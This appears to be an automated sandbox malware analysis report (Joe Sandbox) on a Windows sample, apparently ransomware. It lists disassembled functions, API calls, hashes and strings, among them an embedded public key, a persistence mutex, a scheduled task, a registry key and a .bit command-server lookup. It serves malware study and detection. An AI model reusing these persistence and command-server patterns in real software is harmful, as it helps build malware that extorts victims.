Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3d6257fa8e4134794f6f5efceb6ed2f113f8324889fe0225f2eda150881d3f95
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: E991D672D00319ABCF21EFA4CC48BAEB7F6BF04314F15052AEA55A3240E775AA44CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 05DFD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DFD77E
_malloc.LIBCMT ref: 05DFD7B2
_malloc.LIBCMT ref: 05DFD7C1
_fprintf.LIBCMT ref: 05DFD815

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c7d71966ab43b297a083f85421435b2146742bdb2211a9e2fb8065d7144ca8b0
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 48A1B0B0D00248EBEF11EFE4DC49BDEBB71AF14304F141029E6457B291D7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E12AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E12B2E
__read_nolock.LIBCMT ref: 05E12BFE
__filbuf.LIBCMT ref: 05E12C21
_memset.LIBCMT ref: 05E12C65

Part of subcall function 05E15BA8: __getptd_noexit.LIBCMT ref: 05E15BA8

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 4ec3a2c47f1c2e395172126ed75a455220afdbb4aa583e47cb54815e3b2425f3
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: A751C778B043059BEB28CF6A8D849AE77B7BF40324F149329EEB5962D0D7709950CB4C

Uniqueness

Uniqueness Score: -1.00%

Function 05E31359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E3137D

Part of subcall function 05E31A9D: __fltout2.LIBCMT ref: 05E31AC6

__cftog_l.LIBCMT ref: 05E313A3
__cftoe_l.LIBCMT ref: 05E313D5

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 99f8285d4a3815777266c2b1cb551ea7a6b9c0fa641bb0c20867308117c1355d
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 38014B3280418EFBCF1A5E84DC4ACEE3F63BF19355B49A419FA9958430D236C5B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05EB7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EB7A4B

Part of subcall function 05EB8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EB8172
Part of subcall function 05EB8140: ___AdjustPointer.LIBCMT ref: 05EB8189

_UnwindNestedFrames.LIBCMT ref: 05EB7A62
___FrameUnwindToState.LIBCMT ref: 05EB7A74
CallCatchBlock.LIBCMT ref: 05EB7A98

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 03897e691b9c7ac573587164e8301845dc9195f6bf6aded3dc2c45212f4648e4
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 27012932500109BBEF12AF55CC04EDB3BBAFF88759F149014FE9865520D3B2E961DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Z4CYGTBlj7.exePID: 6600, Parent PID: 7136COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	188

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007FB0B8,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

F:\, xrefs: 0041B397
--ForNetRes, xrefs: 0041A22E
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
--Admin, xrefs: 0041A1B4, 0041A632
IsNotTask, xrefs: 0041A654
%username%, xrefs: 0041B283
7P, xrefs: 0041B164
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8T, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
--AutoStart, xrefs: 0041A2EC
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
runas, xrefs: 0041A6CE
C:\Windows\, xrefs: 0041AE0F
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
list<T> too long, xrefs: 0041B669, 0041B673
D:\Program Files\Google\, xrefs: 0041B0EE
x*P, xrefs: 0041ACE4
IsTask, xrefs: 0041A1EE, 0041A299
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
x2Q, xrefs: 0041A856
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Windows\, xrefs: 0041AFF3
I:\5d2860c89d774.jpg, xrefs: 0041B32F
X1P, xrefs: 0041A485
C:\Program Files\Google\, xrefs: 0041AFB9
--Task, xrefs: 0041A2CD
--Service, xrefs: 0041A30B
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Google\, xrefs: 0041B085
<, xrefs: 0041A67B

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8T$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-2506153444
Opcode ID: 4e4ca55010d81c0d265d3fca1f48aa0f5d23d5252effd070cac932d6d7ecb7e6
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 4e4ca55010d81c0d265d3fca1f48aa0f5d23d5252effd070cac932d6d7ecb7e6
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,54B68B21), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

CryptGenRandom, xrefs: 00481AE3
USER32.DLL, xrefs: 00481C31
GetCursorInfo, xrefs: 00481C58
ADVAPI32.DLL, xrefs: 00481989
Process32Next, xrefs: 00481DED
Heap32ListFirst, xrefs: 00481DB4
NetStatisticsGet, xrefs: 004819E2
Heap32ListNext, xrefs: 00481DC7
Process32First, xrefs: 00481DDA
LanmanServer, xrefs: 00481A74
Heap32First, xrefs: 00481D8E
CloseToolhelp32Snapshot, xrefs: 00481D7B
$, xrefs: 00481F7E
CryptAcquireContextW, xrefs: 00481AD5
NETAPI32.DLL, xrefs: 004819A9
Module32Next, xrefs: 00481E39
CryptReleaseContext, xrefs: 00481AF6
CreateToolhelp32Snapshot, xrefs: 00481D67
NetApiBufferFree, xrefs: 004819F0
LanmanWorkstation, xrefs: 00481A26
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
GetForegroundWindow, xrefs: 00481C4A
GetQueueStatus, xrefs: 00481C6B
Thread32Next, xrefs: 00481E13
Heap32Next, xrefs: 00481DA1
KERNEL32.DLL, xrefs: 0048199C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

", xrefs: 0041ECA0
?pid=, xrefs: 0041E884
Microsoft Internet Explorer, xrefs: 0041E736
","id":", xrefs: 0041EBC5, 0041EC4C
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
&first=false, xrefs: 0041E937
.bit/, xrefs: 0041E7A3
&first=true, xrefs: 0041E930
{"public_key":", xrefs: 0041EA2E, 0041EA8D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 2f6e63ad0bcf19f4bb086d3c73cea8c1afbd2437f85a57d86681e4abc2cc5786
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 2f6e63ad0bcf19f4bb086d3c73cea8c1afbd2437f85a57d86681e4abc2cc5786
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Trigger1, xrefs: 0040D6FA
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C
--Task, xrefs: 0040D8DD
2030-05-02T08:00:00, xrefs: 0040D737
Author Name, xrefs: 0040D4C8

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 6d0a21fe6d067f9f7b86cb0fe2ac7b21b6557a7100f150f781b47a107b07a79c
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 6d0a21fe6d067f9f7b86cb0fe2ac7b21b6557a7100f150f781b47a107b07a79c
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: f42ac2a34f32bbece92df10569c4e00cba9c2f0ad6f7c954867005a28924b396
